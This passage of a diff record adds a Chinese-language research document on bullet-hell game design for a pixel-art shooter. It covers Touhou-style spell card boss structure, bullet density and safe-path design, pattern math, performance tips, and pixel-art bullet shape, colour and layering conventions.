**像素风格设计建议**:滞留弹必须与\"会动的危险弹\"在视觉上区分——建议**低频闪烁 + 半透明 + 固定描边**;或用\"发光的柱子/结界\"图形(如结界/棱镜形状)表示区域阻碍物。静止弹用冷色系(蓝/紫),活动弹用暖色系,形成语义分离。", "new_no": 133}, {"type": "add", "content": "", "new_no": 134}, {"type": "add", "content": "### 2.9 组合弹幕(Compound Patterns)", "new_no": 135}, {"type": "add", "content": "", "new_no": 136}, {"type": "add", "content": "- **视觉描述**:把多个模式叠加。例如\"螺旋铺满屏 + 瞄准弹逼玩家移动\",或\"展开环 + 中途分裂 + 激光堵路\"。(note.com 2-15 Composite)", "new_no": 137}, {"type": "add", "content": "- **设计原则**(note.com 3-2 / 2-15):", "new_no": 138}, {"type": "add", "content": " - 组合时**指定一个主模式**,其余为伴奏,避免信息过载。", "new_no": 139}, {"type": "add", "content": " - 元素越多,越要依赖颜色编码、预警、缝隙设计来保证可读性。", "new_no": 140}, {"type": "add", "content": " - 组合要形成\"分工\":背景压迫 + 前景逼迫(如中间难度组合:旋转全向弹 + 上方落雨 + 周期性瞄准弹)。", "new_no": 141}, {"type": "add", "content": "- **经典游戏例子**:东方高阶符卡几乎都是组合(常识,如多层螺旋+分裂环+预警激光即 note.com 高级 Boss 推荐组合);阿空(地灵殿)的符卡是微/宏闪避结合的著名组合(Sparen Guide A3)。", "new_no": 142}, {"type": "add", "content": "- **像素风格设计建议**:组合弹幕在像素风下最容易\"糊成一团\"。建议:每个模式用**不同主色**;不同模式用**不同子弹形状**(圆=压迫、针=直线、星=装饰/特殊);层与层之间拉开速度差,让玩家能分层读取。", "new_no": 143}, {"type": "add", "content": "", "new_no": 144}, {"type": "add", "content": "### 2.10 调研补充的常用模式", "new_no": 145}, {"type": "add", "content": "", "new_no": 146}, {"type": "add", "content": "以下模式来自 note.com 的《15 种经典弹幕模式》与 Sparen 指南,按需并入本项目词库:", "new_no": 147}, {"type": "add", "content": "", "new_no": 148}, {"type": "add", "content": "| 模式 | 视觉/玩法特征 | 要点 | 像素建议 |", "new_no": 149}, {"type": "add", "content": "|---|---|---|---|", "new_no": 150}, {"type": "add", "content": "| **波型/幕帘(Wave/Curtain)** | 正弦波排列的子弹带,像波浪/极光/瀑布,容易与 BGM 节奏联动 | 重点是\"缝隙的流动感\"而非子弹本身;`y = a·sin(ωt + φ)` 排布 | 用细长米弹/针弹沿正弦排布,同色系渐变 |", "new_no": 151}, {"type": "add", "content": "| **网格(Grid)** | 横竖规则排列,钻石/晶体状,几何美且缝隙可读;纯网格易单调,加大小的速度差/局部缺口 | 强规律、易读、密度↑难度↑ | 用规则小圆弹 + 网格闪烁/错位动画 |", "new_no": 152}, {"type": "add", "content": "| **花状(Floral)** | 对称花瓣排列(5/6/8 瓣),华丽,适合符卡演出 | 对称越高越精致;过度均匀会单调,周期性转相位 | 花瓣用两类颜色交替(瓣=亮、蕊=暗)强化图案 |", "new_no": 153}, {"type": "add", "content": "| **星形/多边形(Star)** | 强调特定顶点(5/6/8 向)的星形放射 | 少弹星形也醒目,适合元素/性格表达 | 用星形贴图子弹 + 旋转动画 |", "new_no": 154}, {"type": "add", "content": "| **交叉(Intersection)** | 多股弹流交叉如编织/光流;视觉美但缝隙易被切断 | 关注\"玩家可走的路径\"而非交点;调速度/密度/交叉角 | 两条交叉流用互补色(如青 vs 品红)|", "new_no": 155}, {"type": "add", "content": "| **落雨(Rain)** | 自上而下倾泻,天然适合道中演出 | 全随机易不公平,保持一定规律美观 | 竖直方向子弹用垂直长条贴图或水滴形 |", "new_no": 156}, {"type": "add", "content": "| **粒子(Particles)** | 火花/星尘式散落,适合爆炸、花瓣、魔法粒子、Boss 登场 | 给角度/速度/密度一个\"范围+偏置\" | 小尺寸 + 闪烁,可叠加在其他弹幕上做纹理 |", "new_no": 157}, {"type": "add", "content": "| **激光(Laser)** | 线/带状攻击,视觉冲击强,可明确封路 | 发射前先给**细预警线(telegraph)**最公平;有固定/旋转/弯曲/网格激光 | 预警线细→粗的 2 帧过渡动画;激光主体用高亮+描边 |", "new_no": 158}, {"type": "add", "content": "| **分裂弹(Split)** | 飞行中途/定时/到距离后爆成子弹(如 1→3),常伴随\"先停顿\"预警 | 分裂条件:时间/距离/位置;分裂后子弹可重新锁定玩家(note.com 2-13) | 母弹大而亮(告知\"会爆\"),子弹小一号;停顿帧加\"蓄力闪光\" |", "new_no": 159}, {"type": "add", "content": "", "new_no": 160}, {"type": "add", "content": "---", "new_no": 161}, {"type": "add", "content": "", "new_no": 162}, {"type": "add", "content": "## 3. Boss 战弹幕设计", "new_no": 163}, {"type": "add", "content": "", "new_no": 164}, {"type": "add", "content": "### 3.1 阶段转换与东方Project符卡系统(Spell Card)", "new_no": 165}, {"type": "add", "content": "", "new_no": 166}, {"type": "add", "content": "**东方Project 的符卡系统**(来源:Wikipedia《符卡》、百度百科、PIXNET 东方介绍):", "new_no": 167}, {"type": "add", "content": "", "new_no": 168}, {"type": "add", "content": "- **来源与规则**:符卡(Spell Card,スペルカード)由《东方红魔乡》首次引入(ZUN 自述为\"比其它系统更早面世\"而开发本作)。符卡规则 = \"给绝技命名并宣言\"的决斗规则:宣言、约定符卡张数、击破对方全部符卡即胜。", "new_no": 169}, {"type": "add", "content": "- **敌方符卡流程**:", "new_no": 170}, {"type": "add", "content": " 1. **非符(nonspell)**:Boss 的普通攻击,一般耐久条分格为单位;", "new_no": 171}, {"type": "add", "content": " 2. **符卡宣言**:血量削到阈值时 Boss \"念符\"(宣言),画面切换为该角色专属 Spell Card 背景,进入符卡攻击;", "new_no": 172}, {"type": "add", "content": " 3. **符卡红利(Spell Card Bonus, SCB)**:无 Miss 无 Bomb 击破符卡可获得额外分数,随时间递减;擦弹可增加红利;", "new_no": 173}, {"type": "add", "content": " 4. **时间限制**:每张符卡有残余时间显示,超时 Boss 自动进入下一波(此时无法收取符卡)。", "new_no": 174}, {"type": "add", "content": "- **符卡变体**:", "new_no": 175}, {"type": "add", "content": " - **增强型符卡**:随血量削减,弹幕密度/速度逐渐增加,越到后面越难(强化难度的天然手段);", "new_no": 176}, {"type": "add", "content": " - **时效型/时限型符卡**:耐久无法直接削减,玩家必须\"死守到时间结束\"才能收取(生存符卡 survival card;如《永夜抄》部分符卡);", "new_no": 177}, {"type": "add", "content": " - **Last Spell / Last Word / Overdrive**:残机为零或特定条件下的最终符卡(Extra/隐藏挑战用)。", "new_no": 178}, {"type": "add", "content": "- **难度变化**:同一符卡在 Easy/Normal 与 Hard/Lunatic 下常有**不同名字**(Higher 难度名字更华丽),弹幕排列与颜色也会变化(Wikipedia)。", "new_no": 179}, {"type": "add", "content": "- **《魔理沙的魔法书》对符卡的分类**(Wikipedia):演剧型(重视觉效果、大量非瞄准装饰弹)、奴隶型(用使魔/人偶/式神攻击)、小虫型(细碎多彩、弱妖怪)、压迫型(限制自机移动范围)、兴奋剂型(强化自身)。", "new_no": 180}, {"type": "add", "content": "", "new_no": 181}, {"type": "add", "content": "**对本项目的启示**:阶段(Phase)不必按血量硬切,可以模仿\"非符→符卡宣言→符卡\"的节奏:普通阶段保持低密度教学,宣言瞬间清场 + 特效 + 显示符卡名,制造\"仪式感\";生存符卡(时限型)能复用已有图案、只改目标(熬过 X 秒),开发成本低、演出效果好。", "new_no": 182}, {"type": "add", "content": "", "new_no": 183}, {"type": "add", "content": "### 3.2 弹幕密度控制", "new_no": 184}, {"type": "add", "content": "", "new_no": 185}, {"type": "add", "content": "- **密度不是越多越好**:'curtain fire'不等于无限堆弹;密度阈值之后,可读性(readability)崩坏,玩家感到\"不公平\"而非\"华丽\"(note.com 3-2:设计缝隙而非密度)。", "new_no": 186}, {"type": "add", "content": "- **难度曲线**:", "new_no": 187}, {"type": "add", "content": " - 报告参考\"轻/重阶段交替\"(Danmaku Unlimited 3 采用东方式 light/heavy 交替:轻阶段让玩家喘息与移动,重阶段密集压迫,来源 Forgotten Worlds 采访);", "new_no": 188}, {"type": "add", "content": " - 每个 Boss 阶段内\"缓慢升级\":起点是玩家已见过的简单变体,随后逐次加大子弹量/缩小缝隙/提高速度(SHMUP Workshop 03:slow escalation)。", "new_no": 189}, {"type": "add", "content": " - 不同难度等级通过\"同一图案改密度/速度/名字\"来分层(东方难度差异,Wikipedia)。", "new_no": 190}, {"type": "add", "content": "- **可控变量**(可做成运行时调参工具):子弹数、速度、发射间隔、扇形张角、环形偏转、随机种子、加层数。", "new_no": 191}, {"type": "add", "content": "- **Cave 的 rank 系统**:根据玩家当前表现(残机/雷/击破率)动态调整弹幕强度——可选的高级机制(来源:TimeExtension;Boghog 亦建议用\"credit feed 降 rank\"来练习 Boss)。", "new_no": 192}, {"type": "add", "content": "", "new_no": 193}, {"type": "add", "content": "### 3.3 安全路径设计(Safe Zones / 缝隙 / 路线)", "new_no": 194}, {"type": "add", "content": "", "new_no": 195}, {"type": "add", "content": "弹幕的本质是\"缝隙谜题\",安全路径是设计对象而非巧合:", "new_no": 196}, {"type": "add", "content": "", "new_no": 197}, {"type": "add", "content": "- **微闪避(micrododging)**:在密集子弹的缝隙间小幅移动穿行(Sparen A3 / maribelhearn / Boghog);", "new_no": 198}, {"type": "add", "content": "- **宏闪避(macrododging)**:对整个弹幕编队进行大幅度绕行、找到整块安全区(safe spot / safespot——\"内部完全不会被击中(或近于)的点/区域\",maribelhearn 术语);东方中 BOWAP、咲夜道中非符等是经典 safespot(maribelhearn Beginner Guide / jargon);", "new_no": 199}, {"type": "add", "content": "- **引弹(streaming / misdirection)**:瞄准弹只有在玩家\"把弹流引到别处\"时才安全——设计上,持续的瞄准弹迫使玩家移动并制造\"下一波更难\"的位置压力(SHMUP Workshop 03:被满屏引导到尴尬位置会削弱后续应对;maribelhearn:misdirection 常在数秒空隙内完成);", "new_no": 200}, {"type": "add", "content": "- **路线(routing)**:玩家在静态/半静态弹幕中规划的具体移动路径,是\"设计缝隙\"的最终产物;", "new_no": 201}, {"type": "add", "content": "- **设计检查表**(综合 note.com 3-2 与 SHMUP Workshop 03):", "new_no": 202}, {"type": "add", "content": " 1. 画图时刻意留下**可见的缝隙**(gap width > 判定点 + 子弹判定 + 误差余量);", "new_no": 203}, {"type": "add", "content": " 2. 区分\"安全点型\"(原地不动即可)与\"移动型\"(需要持续引弹)两类安全路径,交替使用;", "new_no": 204}, {"type": "add", "content": " 3. 用瞄准弹/区域封锁弹**主动关闭**上一轮的安全点,防止玩家蹲坑(area denial,SHMUP Workshop 03;以及\"anti-camping:避免玩家龟缩\"的 Boss 设计目标);", "new_no": 205}, {"type": "add", "content": " 4. 每次重复图案时用随机种子旋转相位,避免出现固定盲区(Sparen A2)。", "new_no": 206}, {"type": "add", "content": "", "new_no": 207}, {"type": "add", "content": "### 3.4 时间限制与弹幕压力", "new_no": 208}, {"type": "add", "content": "", "new_no": 209}, {"type": "add", "content": "- **时限符卡**:上面已述(生存符卡)。在设计上,时限 = \"不需要 DPS 检验,纯粹考验躲避\",适合放在 Boss 战中段作为节奏变化点(东方文花帖/弹幕天邪鬼等衍生作品以\"时限+道具\"为核心玩法)。", "new_no": 210}, {"type": "add", "content": "- **压力节奏(tension-release loop)**:", "new_no": 211}, {"type": "add", "content": " - 每个波次设计\"入口压力→主压力→释放\"三段式:先预警(低压力、可读),再高压(核心躲避),最后 1–2 秒\"突然变简单\"给玩家胜利快感(Boss Up YouTube:survive 之后的那 1 秒喘息极具成瘾性);", "new_no": 212}, {"type": "add", "content": " - 压力来源可以分层:视觉压力(满屏)、逻辑压力(瞄准)、时间压力(超时/残机消耗)。", "new_no": 213}, {"type": "add", "content": "- **Boss 战的五个设计要素**(来源:Game Developer《Video Game Boss Design for Shmups》):", "new_no": 214}, {"type": "add", "content": " 1. **难度 Difficulty**:首关 Boss 必须让\"认真玩的人\"能过;Boss 攻击应与关卡已有敌人/道具主题连贯(\"进化\"而非\"空降\");", "new_no": 215}, {"type": "add", "content": " 2. **多样性 Variety**:Boss 血量条分段显示图案边界;同一段血内可循环多个攻击,且每次攻击要求不同的躲避/输出策略;", "new_no": 216}, {"type": "add", "content": " 3. **时长 Length**:Boss 战时长与关卡时长成比例;中 Boss 不应比关底 Boss 长;把\"信息不对等的假 Boss → 真 Boss\"当一次性惊喜;", "new_no": 217}, {"type": "add", "content": " 4. **回报 Pay-off**:Boss 战末尾(濒死前)往往\"倾泻所有弹幕\"制造最终高潮(Mushihimesama、ESPGaluda2、Ikaruga 第 3 章 Boss 都是例子);好回报 = 节奏铺垫 + 假危机;", "new_no": 218}, {"type": "add", "content": " 5. **角色 Character**:爆炸方式、受击反馈、蓄力/宣言动画、音效都要符合角色性格——这是\"为什么这个 Boss 挡在这里\"的叙事答案。", "new_no": 219}, {"type": "add", "content": "", "new_no": 220}, {"type": "add", "content": "### 3.5 东方式 Boss 战结构参考(综合)", "new_no": 221}, {"type": "add", "content": "", "new_no": 222}, {"type": "add", "content": "1. 开战:非符 1(轻、教学、环/扇)", "new_no": 223}, {"type": "add", "content": "2. 符卡宣言(换背景、念符名)→ 符卡 1(主题图案,时间限制,收取奖励)", "new_no": 224}, {"type": "add", "content": "3. 非符 2(中压,引入瞄准/引弹)", "new_no": 225}, {"type": "add", "content": "4. 符卡 2(组合图案,增强型:随血量变密)→ ……", "new_no": 226}, {"type": "add", "content": "5. 濒死:Last Spell / 最终符卡(最强+最华丽)→ 消弹演出(击破瞬间子弹变道具)", "new_no": 227}, {"type": "add", "content": "6. (挑战层)隐藏:Extra 时限符卡 / 弹幕天邪鬼式\"看似不可能\"组合", "new_no": 228}, {"type": "add", "content": "", "new_no": 229}, {"type": "add", "content": "---", "new_no": 230}, {"type": "add", "content": "", "new_no": 231}, {"type": "add", "content": "## 4. 数学原理与实现", "new_no": 232}, {"type": "add", "content": "", "new_no": 233}, {"type": "add", "content": "### 4.1 基础参数体系", "new_no": 234}, {"type": "add", "content": "", "new_no": 235}, {"type": "add", "content": "任何一个弹幕模式都可由以下参数组合生成(来源:note.com 第 4 章;o3de-diorama 参数表):", "new_no": 236}, {"type": "add", "content": "", "new_no": 237}, {"type": "add", "content": "| 参数 | 作用 | 备注 |", "new_no": 238}, {"type": "add", "content": "|---|---|---|", "new_no": 239}, {"type": "add", "content": "| 发射位置 | 敌中心/屏幕边缘/多炮塔 | 决定子弹出生点阵型 |", "new_no": 240}, {"type": "add", "content": "| **发射角度** | 固定 / 旋转 / 瞄准 / 随机 | 最易出效果 |", "new_no": 241}, {"type": "add", "content": "| 子弹数量 | 密度 | 环形=一圈数量、扇形=扇内数量 |", "new_no": 242}, {"type": "add", "content": "| 发射间隔 | 节奏 | 决定\"流\"还是\"波\" |", "new_no": 243}, {"type": "add", "content": "| 子弹速度 | 难度与观感 | 快=危险、慢=可读 |", "new_no": 244}, {"type": "add", "content": "| 加速度 | 节奏与曲线 | 减速弹、加速弹 |", "new_no": 245}, {"type": "add", "content": "| 角速度 | 螺旋、转向弹 | 曲线弹的核心 |", "new_no": 246}, {"type": "add", "content": "| 寿命 | 消失时机 | 滞留弹=长寿命 |", "new_no": 247}, {"type": "add", "content": "| 分裂条件 | 时间/距离/位置 | 分裂弹 |", "new_no": 248}, {"type": "add", "content": "| 颜色/大小 | 可读性与美观 | 颜色=属性编码 |", "new_no": 249}, {"type": "add", "content": "", "new_no": 250}, {"type": "add", "content": "### 4.2 角度与排列公式(常用)", "new_no": 251}, {"type": "add", "content": "", "new_no": 252}, {"type": "add", "content": "- **环形**:`angle_i = base + i·360/n`,`v = speed·(cos, sin)`(2.1 节)", "new_no": 253}, {"type": "add", "content": "- **扇形**:`angle_i = aim - spread/2 + i·spread/(n-1)`(2.3 节)", "new_no": 254}, {"type": "add", "content": "- **瞄准**:`angle = atan2(py - ey, px - ex) + 偏移`(瞄准扇 = 在其两侧均匀分布)", "new_no": 255}, {"type": "add", "content": "- **网格**:对 `(i,j)` 行列给固定 x/y 间距", "new_no": 256}, {"type": "add", "content": "- **正弦波**:`x 或 y += A·sin(ω·t + φ)`(2.10 波型)", "new_no": 257}, {"type": "add", "content": "- **花瓣/星形**:`angle_i = base + i·(360/petal) + 相位`,再由花瓣内多颗子弹构成瓣形", "new_no": 258}, {"type": "add", "content": "- **规律+微扰**:`angle = base + i·even + sin(t)·fluct`,`speed = base + random(-δ,δ)`(note.com 3-1)", "new_no": 259}, {"type": "add", "content": "- **周期循环**:如\"每 60 帧一波大浪、每 15 帧小弹、每 4 发反转角度\"制造音乐性节奏(note.com 3-4)", "new_no": 260}, {"type": "add", "content": "", "new_no": 261}, {"type": "add", "content": "### 4.3 速度变化(加速/减速弹幕)", "new_no": 262}, {"type": "add", "content": "", "new_no": 263}, {"type": "add", "content": "Danmokou(DMK 引擎)归纳的常见运动(来源:Danmokou Tutorial 6):", "new_no": 264}, {"type": "add", "content": "", "new_no": 265}, {"type": "add", "content": "1. 恒定速度直线(默认)", "new_no": 266}, {"type": "add", "content": "2. **直线加速**(`v(t) = v0 + a·t`,可正可负:赶人弹/诱导弹)", "new_no": 267}, {"type": "add", "content": "3. 速度在慢/快之间周期切换", "new_no": 268}, {"type": "add", "content": "4. 两位置间往返", "new_no": 269}, {"type": "add", "content": "5. 极坐标运动(径向+角速度)", "new_no": 270}, {"type": "add", "content": "6. 波浪线(squiggly)", "new_no": 271}, {"type": "add", "content": "7. 旋转运动方向(追踪/转向)", "new_no": 272}, {"type": "add", "content": "8. 相对另一运动物体运动(随从弹/母舰子机)", "new_no": 273}, {"type": "add", "content": "9. 任意参数方程轨迹", "new_no": 274}, {"type": "add", "content": "", "new_no": 275}, {"type": "add", "content": "工程提示:DMK 把运动建模为**函数**(`rvelocity(px(3 + sine(4, 0.6, t)))`),而不是\"速度/加速度两个标量\",从而任意轨迹即插即用;其子弹更新循环一次函数调用即可支撑 10 万以上子弹 @4K 120FPS(DMK 官方数据)。", "new_no": 276}, {"type": "add", "content": "", "new_no": 277}, {"type": "add", "content": "### 4.4 曲线弹幕(转向 / 极坐标 / 贝塞尔)", "new_no": 278}, {"type": "add", "content": "", "new_no": 279}, {"type": "add", "content": "- **限速转向(追踪弹)**:每帧把朝向转向上限内的目标方向(2.6 节公式);\"转向弱一点更好躲也更好看\"(note.com 2-13)。", "new_no": 280}, {"type": "add", "content": "- **极坐标螺旋**:`r(t)=a·t, θ(t)=b·t` → 直角坐标 `x = cx + r·cosθ, y = cy + r·sinθ`(DMK 示例 `polar(2*t, 80*t)`)。注意极坐标绕圈时转速均匀性需要弧长参数化,DMK 作者自述\"没有闭式解,需迭代求解\"。", "new_no": 281}, {"type": "add", "content": "- **贝塞尔曲线(弯曲弹)**:二次贝塞尔 `B(t) = (1-t)²·P0 + 2(1-t)·t·P1 + t²·P2`,每帧采样 t∈[0,1] 作为下一位置(通用图形学做法,非本次调研单一来源;用于\"弧形弹道/水漂弹\")。三次贝塞尔 `C(t)` 用于更复杂的 S 形弹道。", "new_no": 282}, {"type": "add", "content": "- **正弦扰动**:在固定方向上叠加正弦横向偏移,成为\"S 形\"弹(Unity 论坛实现示例)。", "new_no": 283}, {"type": "add", "content": "- **角度退化/曲线激光**:东方中存在\"准激光\"(弧形激光、曲线灵弹),判定比直线激光大(thwiki 弹型介绍)——曲线弹道要么给足预警,要么减小判定。", "new_no": 284}, {"type": "add", "content": "", "new_no": 285}, {"type": "add", "content": "### 4.5 性能实现建议", "new_no": 286}, {"type": "add", "content": "", "new_no": 287}, {"type": "add", "content": "- **对象池(object pool)**:固定容量池 + 硬上限,防止无限生成(o3de-diorama 的 `Max Bullets` 硬上限设计)。", "new_no": 288}, {"type": "add", "content": "- **批量渲染**:同一纹理的整组子弹一次 draw call(sprite batch / 合批)。", "new_no": 289}, {"type": "add", "content": "- **碰撞**:每颗活子弹对目标碰撞层做一次重叠查询,目标层只放玩家/护盾几个碰撞体,几百颗子弹也便宜(o3de-diorama)。", "new_no": 290}, {"type": "add", "content": "- **功能分层**:发射器(emitter)只管几何与碰撞,伤害/计分留在游戏侧(o3de-diorama 的分工建议)。", "new_no": 291}, {"type": "add", "content": "", "new_no": 292}, {"type": "add", "content": "---", "new_no": 293}, {"type": "add", "content": "", "new_no": 294}, {"type": "add", "content": "## 5. 像素风格下的弹幕视觉设计", "new_no": 295}, {"type": "add", "content": "", "new_no": 296}, {"type": "add", "content": "### 5.1 子弹形状库", "new_no": 297}, {"type": "add", "content": "", "new_no": 298}, {"type": "add", "content": "**核心原则**:'shmup 最核心的是弹幕的可读性(visibility)——在任何背景下都能被读出'(slynyrd Pixelblog 31)。形状即语义:**形状要匹配行为**(Sparen Guide A2 / Pixelblog 32:箭形弹配直线飞行才合理;追踪弹要旋转指向的运动方向)。", "new_no": 299}, {"type": "add", "content": "", "new_no": 300}, {"type": "add", "content": "**东方参考形状清单**(来源:thwiki《东方全弹型介绍与中弹判定分析》、maribelhearn 子弹类型表、Steam Touhou Bullets Model Pack):", "new_no": 301}, {"type": "add", "content": "", "new_no": 302}, {"type": "add", "content": "| 类别 | 形状 | 用途/特点 | 像素建议 |", "new_no": 303}, {"type": "add", "content": "|---|---|---|---|", "new_no": 304}, {"type": "add", "content": "| 圆形系 | 小玉(带圈/不带圈)、中玉、大玉(空心) | 通用基础弹;大玉实际判定仅中心空洞 | 6–10px 圆 + 描边;大玉用\"中空环\"贴图配透明中心 |", "new_no": 305}, {"type": "add", "content": "| 粒状 | 点弹、米弹 | 点弹最小(<判定点),米弹为最高发弹量弹型之一 | 3–4px 点、8×4 米粒;米弹风速后有变短/判定变大差异 |", "new_no": 306}, {"type": "add", "content": "| 尖形 | 针弹/箭弹/晶弹 | 速度感、方向感最强 | 长 8–14px 的三角/箭头,尖端高亮 |", "new_no": 307}, {"type": "add", "content": "| 刀剑形 | 刀弹、剑弹、苦无 | 角色辨识度高(如咲夜/蕾米) | 剑身+尖端高光;前端无判定所以略细 |", "new_no": 308}, {"type": "add", "content": "| 星光形 | 星弹(大/小)、光弹 | 华丽、魔法感;光弹判定偏大 | 4 角/5 角星 + 旋转动画 |", "new_no": 309}, {"type": "add", "content": "| 特殊形 | 蝶弹、心弹、音符弹、钱弹、鳞弹(带\"翼\") | 角色主题、装饰 | 2 帧扇翅/跳动动画;鳞弹判定仅中心点 |", "new_no": 310}, {"type": "add", "content": "| 火焰/流体 | 炎弹、水滴/滴弹 | 不规则 | 2–3 帧沸腾动画,\"躲前端\"语义 |", "new_no": 311}, {"type": "add", "content": "| 激光 | 线段激光/射线激光、弧形激光 | 封路、视觉冲击 | 预警线(细)→ 实体(粗)2 帧过渡;线身描边 |", "new_no": 312}, {"type": "add", "content": "", "new_no": 313}, {"type": "add", "content": "**东方判定参考**(thwiki):多数弹\"判定 < 视觉\":大玉只有中心空洞有效、鳞弹只有中心点、剑弹前端无判定、激光靠预警线判定;当\"准激光/粥弹/核弹\"等判定欺诈弹出现时,需要玩家另行学习——像素风下**不要滥用判定欺诈**,默认\"所见即所判\"更公平。", "new_no": 314}, {"type": "add", "content": "", "new_no": 315}, {"type": "add", "content": "### 5.2 颜色编码", "new_no": 316}, {"type": "add", "content": "", "new_no": 317}, {"type": "add", "content": "- **基础原则**:子弹是屏幕上最鲜艳的元素;用高饱和色与背景拉开对比;颜色可传达属性/机制语义(slynyrd;note.com 3-3)。", "new_no": 318}, {"type": "add", "content": "- **按属性/危险度编码**示例:", "new_no": 319}, {"type": "add", "content": " - 红/橙 = 高速、致命、普通攻击;", "new_no": 320}, {"type": "add", "content": " - 蓝/青 = 特殊判定、特殊移动(如反弹/曲线/激光);", "new_no": 321}, {"type": "add", "content": " - 紫/白 = 装饰弹、非致命、演出用;", "new_no": 322}, {"type": "add", "content": " - 绿 = 通常用于玩家/友方,避免敌方子弹大量用绿(语义混淆)。", "new_no": 323}, {"type": "add", "content": " - (以上为常见实践惯例,属综合常识,非单一文献结论。)", "new_no": 324}, {"type": "add", "content": "- **注意**:颜色要与背景/特效区分(note.com 3-3);考虑红绿色盲——**不要只靠红/绿区分要害**,同时用形状/大小/闪烁区分。", "new_no": 325}, {"type": "add", "content": "- **同波同色**:同一次发射的子弹用同一色系,方便玩家把\"一波子弹\"当整体读(note.com 3-3:子弹类型或危险度不同则换色)。", "new_no": 326}, {"type": "add", "content": "", "new_no": 327}, {"type": "add", "content": "### 5.3 子弹大小与可躲避性", "new_no": 328}, {"type": "add", "content": "", "new_no": 329}, {"type": "add", "content": "- **判定点 vs 视觉**:自机 hitbox 远小于机绘(Cave 1px hitbox、DoDonPachi 子弹判定约直径 20%,来源 TimeExtension/Shmups Wiki);聚焦模式时在判定点处显示小红点让玩家能\"穿缝\"。", "new_no": 330}, {"type": "add", "content": "- **子弹尺寸**:越大越可见但占屏;太小(<判定点)会\"消失\"且威胁感弱。建议子弹视觉 6–16px 常见、点弹 3–4px、激光不限长(slynyrd:子弹应大小多样,通常越大伤害越高)。", "new_no": 331}, {"type": "add", "content": "- **缝隙设计**:安全缝隙宽度 = 玩家判定 + 子弹判定 + 玩家操作误差(微闪避用低速聚焦移动保证精度);设计时给缝隙留 ≥2–3px 冗余(工程经验法则)。", "new_no": 332}, {"type": "add", "content": "- **密度 vs 大小**:子弹越小越能密(给留出视觉通道);同屏密度高时,小弹+弱判定(空心大玉)是\"看起来吓人、实际可穿\"的经典手法(thwiki 大玉示例)。", "new_no": 333}, {"type": "add", "content": "", "new_no": 334}, {"type": "add", "content": "### 5.4 发光/粒子效果在像素风格中的处理", "new_no": 335}, {"type": "add", "content": "", "new_no": 336}, {"type": "add", "content": "- **描边(outline)**:几乎必备,最好**双层描边**(亮色外圈+暗色内圈)以保证任何背景下可读;pixel 风格常用白描边与其它精灵(深描边)区分(slynyrd)。", "new_no": 337}, {"type": "add", "content": "- **闪烁/双帧动画**:两帧交替即可做出\"呼吸/危险脉冲\";对比度越大越激烈,但太强会难以追踪快速弹(slynyrd)。", "new_no": 338}, {"type": "add", "content": "- **发光**:像素风发光 = 亮色核心 + 1 层半透明同色光晕(加色混合 additive)或\"外扩 1px 亮描边\";避免真实 bloom 破坏像素感。", "new_no": 339}, {"type": "add", "content": "- **粒子**:爆炸/火花/花瓣用\"范围+偏置\"的受控随机(note.com 2-12);粒子可叠加在弹幕上做纹理而不是独立威胁。", "new_no": 340}, {"type": "add", "content": "- **脉冲缩放**:呼吸/脉动(expanding-contracting)可让呆滞的圆弹\"活起来\"(slynyrd 的 rotation/motion 建议)。", "new_no": 341}, {"type": "add", "content": "- **消弹特效**:Boss 符卡击破瞬间,全屏子弹转为道具/星点,是东方色的标志性演出(Touhou Wiki Items:子弹在 Boss 攻击结束/未超时被打掉时转为星道具;消弹 cancel 亦为计分要素,maribelhearn 术语)。", "new_no": 342}, {"type": "add", "content": "", "new_no": 343}, {"type": "add", "content": "### 5.5 弹幕层级的视觉优先级", "new_no": 344}, {"type": "add", "content": "", "new_no": 345}, {"type": "add", "content": "绘制顺序(从底层到顶层,工程惯例 + Reddit shmupdev 设计 101 摘要:\"敌方子弹永远画在其它对象之上\"):", "new_no": 346}, {"type": "add", "content": "", "new_no": 347}, {"type": "add", "content": "1. 背景/场景层", "new_no": 348}, {"type": "add", "content": "2. 地面敌人/可破坏物", "new_no": 349}, {"type": "add", "content": "3. 道具、点数", "new_no": 350}, {"type": "add", "content": "4. 玩家射击、爆炸特效(半透明)", "new_no": 351}, {"type": "add", "content": "5. **敌方子弹(最高优先级之一,必须覆盖玩家机绘)**", "new_no": 352}, {"type": "add", "content": "6. 玩家机绘 + 判定点指示(聚焦时)", "new_no": 353}, {"type": "add", "content": "7. UI(血量/符卡名/时间)", "new_no": 354}, {"type": "add", "content": "", "new_no": 355}, {"type": "add", "content": "理由:玩家需要\"先读弹,再读自己\";若子弹被机绘/特效遮挡,就会产生\"判定杀(clipdeath)\"的挫败感(maribelhearn 术语)。", "new_no": 356}, {"type": "add", "content": "", "new_no": 357}, {"type": "add", "content": "### 5.6 像素风格弹幕设计清单(落地用)", "new_no": 358}, {"type": "add", "content": "", "new_no": 359}, {"type": "add", "content": "- [ ] 每种模式指定**1 个主色 + 1 种子弹形状**(勿两种都在变);", "new_no": 360}, {"type": "add", "content": "- [ ] 危险弹用暖色+闪光,装饰弹用冷色/暗色调;", "new_no": 361}, {"type": "add", "content": "- [ ] 所有敌方子弹带描边(建议双层),且在玩家机绘之上绘制;", "new_no": 362}, {"type": "add", "content": "- [ ] 直线/追踪/曲线弹使用**方向性贴图**(箭头/针/刀)并随角度旋转;", "new_no": 363}, {"type": "add", "content": "- [ ] 预警:激光先细线→粗线;分裂弹先停顿+蓄力闪光;大威力攻击让 Boss 本体发光(note.com 3-5);", "new_no": 364}, {"type": "add", "content": "- [ ] 判定 < 视觉:默认简化判定(圆/椭圆),为\"大玉/鳞弹\"这类特殊判定做贴图注释(空心=可穿);", "new_no": 365}, {"type": "add", "content": "- [ ] 像素分辨率建议在 320×180~640×360 区间定基准(slynyrd 建议 480×270),保证单个子弹仍有足够像素表达细节;", "new_no": 366}, {"type": "add", "content": "- [ ] 每张符卡/阶段限定子弹色彩数(建议 2–3 色),避免像素噪点化。", "new_no": 367}, {"type": "add", "content": "", "new_no": 368}, {"type": "add", "content": "---", "new_no": 369}, {"type": "add", "content": "", "new_no": 370}, {"type": "add", "content": "## 6. 对本项目(像素风弹幕游戏)的落地建议汇总", "new_no": 371}, {"type": "add", "content": "", "new_no": 372}, {"type": "add", "content": "1. **词库起步**:环形 / 螺旋 / 扇形 / 直线(流+墙)/ 瞄准扇 / 受控随机 / 分裂弹 / 激光(带预警)/ 滞留结界,共 9 个基础模式,先用\"参数化发射器\"(Count/Aim/Spread/Spin/Speed/FireRate/Lifetime)实现(参照 o3de-diorama 的参数表),Boss 脚本只做\"模式序列 + 转场\",成本最低。", "new_no": 373}, {"type": "add", "content": "2. **难度曲线**:按\"非符(轻)→ 